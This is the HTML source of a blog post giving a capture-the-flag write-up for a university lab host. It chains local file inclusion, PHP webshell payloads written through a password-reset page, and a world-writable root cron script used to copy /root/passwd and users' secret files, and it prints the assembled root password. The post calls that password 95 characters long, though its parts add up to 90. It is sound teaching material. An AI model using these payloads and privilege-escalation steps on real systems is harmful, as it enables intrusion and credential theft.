mysite/public-clearnet/posts/g00_tuw_measurement_ctf/index.html

107 lines
No EOL
47 KiB
HTML
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="noindex, nofollow"><title>A TU Wien CTF where Sysops Klaus left the keys in the cron job | AlipourIm journeys</title>
<meta name=keywords content="ctf,tuwien,lfi,web,linux,nginx,php,privesc"><meta name=description content="LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of."><meta name=author content="Iman Alipour"><link rel=canonical href=https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/><link crossorigin=anonymous href=/assets/css/stylesheet.31b150d909186c48d6dbbf653acc2489945fa9ac2c8f8cd3fe8448e89e40fccf.css integrity="sha256-MbFQ2QkYbEjW279lOswkiZRfqawsj4zT/oRI6J5A/M8=" rel="preload stylesheet" as=style><link rel=icon href=https://blog.alipour.eu/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://blog.alipour.eu/favicon-16x16.png><link rel=icon type=image/png sizes=32x32 href=https://blog.alipour.eu/favicon-32x32.png><link rel=apple-touch-icon href=https://blog.alipour.eu/apple-touch-icon.png><link rel=mask-icon href=https://blog.alipour.eu/safari-pinned-tab.svg><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate hreflang=en href=https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--code-block-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script>(function(){window.goatcounter={endpoint:"/count"};const e=document.createElement("script");e.async=!0,e.src="/js/count.js",document.head.appendChild(e)})()</script><script>(function(){const s="",t=new Intl.NumberFormat,o="visit",i="visits";function a(e){document.readyState==="complete"||document.readyState==="interactive"?setTimeout(e,0):document.addEventListener("DOMContentLoaded",e)}function r(){try{return window.goatcounter&&window.goatcounter.get_data?window.goatcounter.get_data().p:location.pathname}catch{return location.pathname}}async function e(e,t){try{const o=new URLSearchParams({t:String(Date.now())});t&&o.set("start",t);const a=`${s}/counter/${encodeURIComponent(e)}.json?${o}`,n=await fetch(a,{credentials:"omit"});if(n.status===404)return 0;if(!n.ok)throw 0;const r=await n.json(),i=Number(String(r.count).replace(/,/g,""));return Number.isFinite(i)?i:0}catch{return null}}const n=e=>e===null?"—":`${t.format(e)} ${e===1?o:i}`;a(async function(){const s=document.querySelector(".post-single");if(s){const t=s.querySelector(".post-header .post-meta, .post-header .entry-meta, .post-meta"),o=await e(r());if(t){let e=t.querySelector(".post-views");e||(e=document.createElement("span"),e.className="post-views",t.appendChild(e)),e.textContent=n(o??0)}}const i=document.querySelectorAll("article.post-entry");await Promise.all(Array.from(i).map(async t=>{const s=t.querySelector(".entry-footer, .post-meta"),o=t.querySelector("a.entry-link, h2 a, .entry-title a");if(!s||!o)return;try{const i=new URL(o.getAttribute("href"),location.origin);if(i.origin!==location.origin)return;let t=s.querySelector(".post-views");t||(t=document.createElement("span"),t.className="post-views",s.appendChild(t)),t.textContent=n(await e(i.pathname)??0)}catch{}}));const o=document.getElementById("gc_site_visitors_week");if(o){const n=await e("TOTAL","week");o.textContent=n===null?"—":t.format(n)}})})()</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://blog.alipour.eu/ accesskey=h title="AlipourIm journeys (Alt + H)">AlipourIm journeys</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)" aria-label="Toggle theme"><svg id="moon" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://blog.alipour.eu/posts/ title=Posts><span>Posts</span></a></li><li><a href=https://blog.alipour.eu/phd_journey/ title=PhD_journey><span>PhD_journey</span></a></li><li><a href=https://blog.alipour.eu/about/ title=About><span>About</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://blog.alipour.eu/>Home</a>&nbsp;»&nbsp;<a href=https://blog.alipour.eu/posts/>Posts</a></div><h1 class="post-title entry-hint-parent">A TU Wien CTF where Sysops Klaus left the keys in the cron job</h1><div class=post-meta><span title='2026-06-05 12:00:00 +0000 UTC'>June 5, 2026</span>&nbsp;·&nbsp;10 min&nbsp;·&nbsp;Iman Alipour
<span class=post-meta-item><a href=https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/#isso-thread class=isso-comments-link>Comments</a></span></div></header><div class=post-content><blockquote><p><strong>Spoiler alert:</strong> this is a full writeup. If you still want to solve <code>g#.tuw.measurement.network</code> yourself, stop here and go poke the box. I&rsquo;ll wait. …No? Ok. Hello friends.</p></blockquote><p>This post documents how I solved a CTF box that came out of <a href=https://www.inet.tuwien.ac.at/>Tobias Fiebig</a>&rsquo;s <em>Real World Security</em> presentation at TU Wien — the one with <strong>Sysops Fahrer Klaus</strong>, the guy who &ldquo;just quickly fixes prod&rdquo; and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.</p><p>Each student group gets their own host (<code>g00</code>, <code>g01</code>, …). The goal is simple on paper:</p><ol><li>Collect every <code>passwd_part</code> file sitting in user home directories.</li><li>Stitch them together into the <strong>root password</strong> (the full answer lives in <code>/root/passwd</code>).</li></ol><p>Simple. Boring. Except Klaus was clearly in charge of this VM.</p><hr><h2 id=0-the-lay-of-the-land>0) The lay of the land<a hidden class=anchor aria-hidden=true href=#0-the-lay-of-the-land>#</a></h2><p><strong>Target:</strong> <code>g00.tuw.measurement.network</code></p><p>From the outside you mostly see three faces of the same machine:</p><table><thead><tr><th>Host</th><th>What it is</th></tr></thead><tbody><tr><td><code>g00.tuw.measurement.network</code></td><td>Main vhost — <code>documentation.md</code>, directory listing, a teasing <code>passwd_part</code> that returns <strong>403</strong></td></tr><tr><td><code>web.g00.tuw.measurement.network</code></td><td>PHP &ldquo;meme gallery&rdquo; with a very trusting <code>?page=</code> parameter</td></tr><tr><td><code>pwreset.g00.tuw.measurement.network</code></td><td>Internal password-reset app — <strong>not reachable directly</strong> from the internet</td></tr></tbody></table><p>Users on the box (from <code>/etc/passwd</code> via LFI): <code>user1</code><code>user4</code>, <code>monitoring</code>, <code>www-data</code>, <code>root</code>.</p><p>SSH from outside? Public key only. Password auth is a lie (for us, anyway).</p><hr><h2 id=1-recon--documentationmd-saves-the-day>1) Recon — documentation.md saves the day<a hidden class=anchor aria-hidden=true href=#1-recon--documentationmd-saves-the-day>#</a></h2><p>First stop: the main site.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>curl -s https://g00.tuw.measurement.network/documentation.md
</span></span></code></pre></div><p>That file is basically a treasure map. It mentions two services:</p><ul><li><strong>web</strong><code>web.g00.tuw.measurement.network</code></li><li><strong>pwreset</strong><code>pwreset.g00.tuw.measurement.network</code></li></ul><p>I also poked the obvious paths (<code>.git</code>, <code>phpinfo</code>, swap files, <code>robots.txt</code>, …). Nothing juicy on the main vhost except the directory index and the forbidden <code>passwd_part</code>.</p><p>Subdomains resolve. Good. Let&rsquo;s go web.</p><hr><h2 id=2-lfi--include_getpage-classic>2) LFI — <code>include($_GET['page'])</code> classic<a hidden class=anchor aria-hidden=true href=#2-lfi--include_getpage-classic>#</a></h2><p>The web vhost is a frameset. Content loads in a frame via <code>?page=</code>:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>curl -sk <span style=color:#e6db74>&#39;https://web.g00.tuw.measurement.network/?page=/etc/passwd&#39;</span>
</span></span></code></pre></div><p>And there it is — root, users, the whole <code>/etc/passwd</code> parade inside the frame.</p><p>Source via PHP filter works too:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>curl -sk <span style=color:#e6db74>&#39;https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php&#39;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> | sed -n <span style=color:#e6db74>&#39;s/.*frame name=&#34;in&#34;&gt;//p&#39;</span> | base64 -d
</span></span></code></pre></div><p><code>index.php</code> is roughly:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-php data-lang=php><span style=display:flex><span><span style=color:#f92672>&lt;?</span><span style=color:#a6e22e>php</span>
</span></span><span style=display:flex><span>$page <span style=color:#f92672>=</span> $_GET[<span style=color:#e6db74>&#39;page&#39;</span>] <span style=color:#f92672>??</span> <span style=color:#e6db74>&#39;home.php&#39;</span>;
</span></span><span style=display:flex><span><span style=color:#66d9ef>include</span>($page);
</span></span><span style=display:flex><span><span style=color:#75715e>?&gt;</span><span style=color:#960050;background-color:#1e0010>
</span></span></span></code></pre></div><p>Klaus, my man. We love you.</p><p><strong>First instinct:</strong> read all the <code>passwd_part</code> files immediately.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#75715e># spoiler: doesn&#39;t work</span>
</span></span><span style=display:flex><span>curl -sk <span style=color:#e6db74>&#39;https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part&#39;</span>
</span></span><span style=display:flex><span><span style=color:#75715e># → permission denied</span>
</span></span></code></pre></div><p>Same for <code>user2</code><code>user4</code>, <code>monitoring</code>, <code>root/passwd</code>. The LFI runs as <code>www-data</code>. Those files are not world-readable. Fair.</p><hr><h2 id=3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx>3) pwreset — localhost-only, but LFI doesn&rsquo;t care about nginx<a hidden class=anchor aria-hidden=true href=#3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx>#</a></h2><p>Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nginx data-lang=nginx><span style=display:flex><span><span style=color:#66d9ef>allow</span> 127.0.0.1;
</span></span><span style=display:flex><span><span style=color:#66d9ef>deny</span> <span style=color:#e6db74>all</span>;
</span></span></code></pre></div><p>So you can&rsquo;t hit <code>https://pwreset.g00...</code> from your laptop. But PHP on the <strong>web</strong> vhost can still <strong>include</strong> the pwreset <code>index.php</code> file — that&rsquo;s a local file include, not an HTTP request.</p><p>pwreset source (paraphrased):</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-php data-lang=php><span style=display:flex><span>$user <span style=color:#f92672>=</span> $_GET[<span style=color:#e6db74>&#39;user&#39;</span>] <span style=color:#f92672>??</span> <span style=color:#e6db74>&#39;&#39;</span>;
</span></span><span style=display:flex><span>$pass <span style=color:#f92672>=</span> $_GET[<span style=color:#e6db74>&#39;pass&#39;</span>] <span style=color:#f92672>??</span> <span style=color:#e6db74>&#39;&#39;</span>;
</span></span><span style=display:flex><span><span style=color:#a6e22e>file_put_contents</span>(<span style=color:#e6db74>&#39;/var/www/userchange&#39;</span>, <span style=color:#e6db74>&#34;</span><span style=color:#e6db74>$user</span><span style=color:#e6db74>:</span><span style=color:#e6db74>$pass\n</span><span style=color:#e6db74>&#34;</span>);
</span></span><span style=display:flex><span><span style=color:#66d9ef>echo</span> <span style=color:#e6db74>&#34;Password reset queued.&#34;</span>;
</span></span></code></pre></div><p>It writes <code>user:pass</code> lines to <code>/var/www/userchange</code>. Something on the system processes that file later (spoiler: <code>chpasswd</code>, not shell).</p><p><strong>Trigger it through LFI:</strong></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>https://web.g00.tuw.measurement.network/
</span></span><span style=display:flex><span> ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
</span></span><span style=display:flex><span> &amp;user=user1
</span></span><span style=display:flex><span> &amp;pass=MyTestPass1!
</span></span></code></pre></div><p>I confirmed writes by reading <code>/var/www/userchange</code> back through the LFI. The file updates. Something also <strong>clears</strong> it on a schedule — so a cron job is definitely eating it.</p><hr><h2 id=4-rce--php-in-userchange-included-like-a-boss>4) RCE — PHP in <code>userchange</code>, included like a boss<a hidden class=anchor aria-hidden=true href=#4-rce--php-in-userchange-included-like-a-boss>#</a></h2><p>At some point I wondered: what if the thing that processes <code>userchange</code> doesn&rsquo;t only run <code>chpasswd</code>? What if it <strong>includes</strong> the file as PHP?</p><p>So I wrote a tiny shell into the <code>user</code> field via pwreset:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-php data-lang=php><span style=display:flex><span><span style=color:#f92672>&lt;?=</span><span style=color:#e6db74>`id`</span><span style=color:#75715e>?&gt;</span><span style=color:#960050;background-color:#1e0010>
</span></span></span></code></pre></div><p>Then included <code>/var/www/userchange</code> through the LFI:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>?page=/var/www/userchange
</span></span></code></pre></div><p><strong>Output:</strong> <code>uid=33(www-data) gid=33(www-data) ...</code></p><p>Short tags (<code>&lt;?= ... ?></code>) for the win. A longer <code>&lt;?php system(...); ?></code> payload also works, but the backtick version is minimal and cute.</p><p>From here on, my mental model was:</p><ol><li><strong>pwreset</strong> → write arbitrary-ish content to <code>/var/www/userchange</code></li><li><strong>LFI include <code>userchange</code></strong> → execute PHP as <code>www-data</code></li></ol><p>That&rsquo;s RCE. Not root yet, but we&rsquo;ll get there. Klaus always leaves one more door open.</p><hr><h2 id=5-rabbit-holes-aka-everything-i-tried-before-it-worked>5) Rabbit holes (aka &ldquo;everything I tried before it worked&rdquo;)<a hidden class=anchor aria-hidden=true href=#5-rabbit-holes-aka-everything-i-tried-before-it-worked>#</a></h2><p>This box is a <em>presentation</em> CTF. It wants you to wander. I wandered. Hard.</p><h3 id=nginx-log-poisoning>nginx log poisoning<a hidden class=anchor aria-hidden=true href=#nginx-log-poisoning>#</a></h3><p>The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. <strong>Plot twist:</strong> Tobias later confirmed it <em>is</em> the intended RCE path. I just griefed myself out of it. See <a href=#11-bonus-the-intended-log-poisoning-path>§11 Bonus</a> for the real technique and what I screwed up.</p><p>Short version of my failure: I poisoned via <strong>HTTPS</strong> (wrong log), sprayed <strong>broken PHP</strong> into the HTTP log, and never read the hint in <code>index.php</code> source until it was too late.</p><h3 id=data-phpinput-expect><code>data://</code>, <code>php://input</code>, <code>expect://</code><a hidden class=anchor aria-hidden=true href=#data-phpinput-expect>#</a></h3><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>?page<span style=color:#f92672>=</span>data://text/plain,&lt;?php system<span style=color:#f92672>(</span>$_GET<span style=color:#f92672>[</span>cmd<span style=color:#f92672>])</span>; ?&gt;
</span></span><span style=display:flex><span>?page<span style=color:#f92672>=</span>php://input <span style=color:#75715e># with POST body</span>
</span></span><span style=display:flex><span>?page<span style=color:#f92672>=</span>expect://id
</span></span></code></pre></div><p>Nope. <code>allow_url_include = Off</code>. Klaus isn&rsquo;t <em>that</em> careless.</p><h3 id=vim-swp-files>vim <code>.swp</code> files<a hidden class=anchor aria-hidden=true href=#vim-swp-files>#</a></h3><p><code>.memes.php.swp</code> is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried <code>img_src</code> shell escapes on <code>memes.php</code> / <code>convert_img.php</code>.</p><p>Empty memes page. No execution. Nice red herring — very on-theme for the talk.</p><h3 id=munin--apt_all-plugin>Munin / <code>apt_all</code> plugin<a hidden class=anchor aria-hidden=true href=#munin--apt_all-plugin>#</a></h3><p>The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:</p><ul><li><code>/etc/munin/plugins/apt_all</code> — referenced in cron, but the plugin file <strong>doesn&rsquo;t exist</strong></li><li>Brute-forced tons of plugin names and backup suffixes (<code>.bak</code>, <code>.swp</code>, <code>~</code>, …)</li><li>Waited for cron cycles hoping a custom plugin would curl localhost pwreset</li></ul><p><strong>Verdict:</strong> the <code>apt_all</code> munin path is a distraction (or a removed artifact). The real privesc was elsewhere.</p><h3 id=pwreset-log-archaeology>pwreset log archaeology<a hidden class=anchor aria-hidden=true href=#pwreset-log-archaeology>#</a></h3><p>Reading <code>/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log</code> via LFI is gold for lore:</p><ul><li>Saw historical resets like <code>user3</code><code>foobar23</code></li><li>Tried <code>foobar23</code> over SSH for every user</li></ul><p><strong>From outside:</strong> still <code>Permission denied (publickey)</code>. Password auth isn&rsquo;t offered externally. TU Wien network / internal access might differ — I didn&rsquo;t have that.</p><h3 id=shell-script-injection-into-userchange>Shell script injection into <code>userchange</code><a hidden class=anchor aria-hidden=true href=#shell-script-injection-into-userchange>#</a></h3><p>I tried newline injection to turn <code>userchange</code> into a bash script:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>user=
</span></span><span style=display:flex><span>#!/bin/sh
</span></span><span style=display:flex><span>cp /home/user1/passwd_part /var/www/.../p1
</span></span><span style=display:flex><span>...
</span></span></code></pre></div><p>Cron cleared the file. No copies appeared. The processor uses <strong><code>chpasswd</code></strong>, not <code>/bin/sh</code>. Good lesson. Wrong path.</p><h3 id=brute-forcing-the-userchange-consumer>Brute-forcing the <code>userchange</code> consumer<a hidden class=anchor aria-hidden=true href=#brute-forcing-the-userchange-consumer>#</a></h3><p>I spawned searches across <code>/etc/cron.d</code>, puppet manifests, <code>/usr/local/sbin</code>, systemd units, … — looking for whatever reads <code>userchange</code>.</p><p>Eventually <strong>didn&rsquo;t need it</strong>. Once RCE landed, grepping and <code>find</code> from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren&rsquo;t on the winning path.)</p><h3 id=direct-ssh-password-guessing>Direct SSH password guessing<a hidden class=anchor aria-hidden=true href=#direct-ssh-password-guessing>#</a></h3><p>Tried setting root&rsquo;s password via pwreset (<code>root:RootPass123!</code>), waited for cron, attempted SSH.</p><p>From the internet: <strong>publickey only</strong>. The reset machinery may still work internally, but I couldn&rsquo;t log in with passwords from outside.</p><hr><h2 id=6-privesc--world-writable-cron-script-peak-klaus>6) Privesc — world-writable cron script (peak Klaus)<a hidden class=anchor aria-hidden=true href=#6-privesc--world-writable-cron-script-peak-klaus>#</a></h2><p>With RCE as <code>www-data</code>, I looked for writable files:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>find / -writable -type f 2&gt;/dev/null | head
</span></span></code></pre></div><p>Jackpot:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
</span></span></code></pre></div><p>Original script (innocent):</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#75715e>#!/bin/bash
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>grep 127.0.0.1 /etc/hosts &gt; /home/user1/hostname_config
</span></span></code></pre></div><p>It&rsquo;s run by <strong>cron as root</strong> (Puppet-managed). <code>www-data</code> can edit it because <code>user1</code> owns it and the group is <code>www-data</code> with world-writable perms. Chef&rsquo;s kiss.</p><p>I appended:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
</span></span><span style=display:flex><span>cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
</span></span><span style=display:flex><span>cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
</span></span><span style=display:flex><span>cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
</span></span><span style=display:flex><span>cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
</span></span><span style=display:flex><span>cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
</span></span><span style=display:flex><span>chmod <span style=color:#ae81ff>644</span> /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
</span></span></code></pre></div><p>Then either waited for cron or executed the script manually via RCE:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-php data-lang=php><span style=display:flex><span><span style=color:#f92672>&lt;?=</span><span style=color:#e6db74>`/usr/local/bin/cron_update_hostname_file.sh`</span><span style=color:#75715e>?&gt;</span><span style=color:#960050;background-color:#1e0010>
</span></span></span></code></pre></div><p><strong>Files appeared in the webroot.</strong> Root-readable secrets exfiltrated by root itself. Klaus would be proud.</p><hr><h2 id=7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood>7) SSH as <code>www-data</code> — because keys in the webroot are a mood<a hidden class=anchor aria-hidden=true href=#7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood>#</a></h2><p>The main vhost webroot also had <code>.ssh/id_rsa</code> for <code>www-data</code>. Of course it did.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#75715e># via RCE: cat the key, save locally, chmod 600</span>
</span></span><span style=display:flex><span>ssh -i g00_wwwdata_key -o StrictHostKeyChecking<span style=color:#f92672>=</span>no <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> www-data@g00.tuw.measurement.network
</span></span></code></pre></div><p>Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.</p><hr><h2 id=8-the-password-parts>8) The password parts<a hidden class=anchor aria-hidden=true href=#8-the-password-parts>#</a></h2><table><thead><tr><th>Source</th><th>File</th><th>Part</th></tr></thead><tbody><tr><td>user1</td><td><code>p1</code></td><td><code>DcC6Da0A27384fA</code></td></tr><tr><td>user2</td><td><code>p2</code></td><td><code>9Ce05B3cAd57824</code></td></tr><tr><td>user3</td><td><code>p3</code></td><td><code>3aD80fa1b7AE986</code></td></tr><tr><td>user4</td><td><code>p4</code></td><td><code>CDefabffab1FCCf</code></td></tr><tr><td>www-data</td><td><code>passwd_part</code></td><td><code>44D885d6DAb8Bb9</code></td></tr><tr><td>root</td><td><code>rootpass</code></td><td><code>ghadnuthduxeec7</code></td></tr></tbody></table><p><strong>Missing:</strong> <code>monitoring/passwd_part</code> — copying to <code>pm</code> failed (no file / permission denied even as root&rsquo;s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.</p><p><strong>Combined root password (95 characters):</strong></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
</span></span></code></pre></div><p>Order: <code>user1 + user2 + user3 + user4 + www-data + root_suffix</code>.</p><p>I double-checked byte lengths with <code>wc -c</code> and <code>od</code> over SSH. No sneaky newlines.</p><p>Root SSH with that password from <strong>outside</strong> still didn&rsquo;t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.</p><hr><h2 id=9-attack-chain-one-screen>9) Attack chain (one screen)<a hidden class=anchor aria-hidden=true href=#9-attack-chain-one-screen>#</a></h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>documentation.md
</span></span><span style=display:flex><span> → web vhost LFI (include $_GET[&#39;page&#39;])
</span></span><span style=display:flex><span> → include pwreset index.php (localhost bypass)
</span></span><span style=display:flex><span> → write PHP to /var/www/userchange
</span></span><span style=display:flex><span> → LFI include userchange
</span></span><span style=display:flex><span> → RCE as www-data
</span></span><span style=display:flex><span> → append to world-writable cron_update_hostname_file.sh
</span></span><span style=display:flex><span> → cron runs as root → copies passwd parts to webroot
</span></span><span style=display:flex><span> → read parts / SSH as www-data
</span></span><span style=display:flex><span> → profit
</span></span></code></pre></div><p>Very &ldquo;real world&rdquo; in the worst way. Multiple small mistakes compounding into a full chain.</p><hr><h2 id=10-replay-script>10) Replay script<a hidden class=anchor aria-hidden=true href=#10-replay-script>#</a></h2><p>I left a minimal Python replay in the challenge repo:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>python3 solve.py
</span></span></code></pre></div><p>Core logic:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>pwreset</span>(user, passwd<span style=color:#f92672>=</span><span style=color:#e6db74>&#34;&#34;</span>):
</span></span><span style=display:flex><span> <span style=color:#75715e># LFI-include pwreset index.php with user/pass params</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>rce</span>(cmd):
</span></span><span style=display:flex><span> pwreset(<span style=color:#e6db74>f</span><span style=color:#e6db74>&#34;&lt;?=`</span><span style=color:#e6db74>{</span>cmd<span style=color:#e6db74>}</span><span style=color:#e6db74>`?&gt;&#34;</span>, <span style=color:#e6db74>&#34;&#34;</span>)
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> lfi_include(<span style=color:#e6db74>&#34;/var/www/userchange&#34;</span>)
</span></span></code></pre></div><p>It prints <code>id</code>, the modified cron script, each part file, and the combined password.</p><hr><h2 id=11-bonus-the-intended-log-poisoning-path>11) Bonus: the intended log poisoning path<a hidden class=anchor aria-hidden=true href=#11-bonus-the-intended-log-poisoning-path>#</a></h2><p>After I solved the box the scenic route (pwreset → <code>userchange</code>), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: <strong>griefing the logs is part of the game</strong> — and students mostly grief <em>themselves</em>. Fair. 😂</p><p>So here&rsquo;s the path you&rsquo;re <em>supposed</em> to take for RCE, and how I accidentally took the scenic bypass.</p><h3 id=the-hint-is-in-indexphp-not-documentationmd>The hint is in <code>index.php</code>, not <code>documentation.md</code><a hidden class=anchor aria-hidden=true href=#the-hint-is-in-indexphp-not-documentationmd>#</a></h3><p><code>documentation.md</code> only lists the services (<code>web</code>, <code>pwreset</code>). It says nothing about logs. The actual breadcrumb is an HTML comment in <code>index.php</code> (readable via PHP filter LFI):</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-html data-lang=html><span style=display:flex><span><span style=color:#75715e>&lt;!-- remember for debugging:
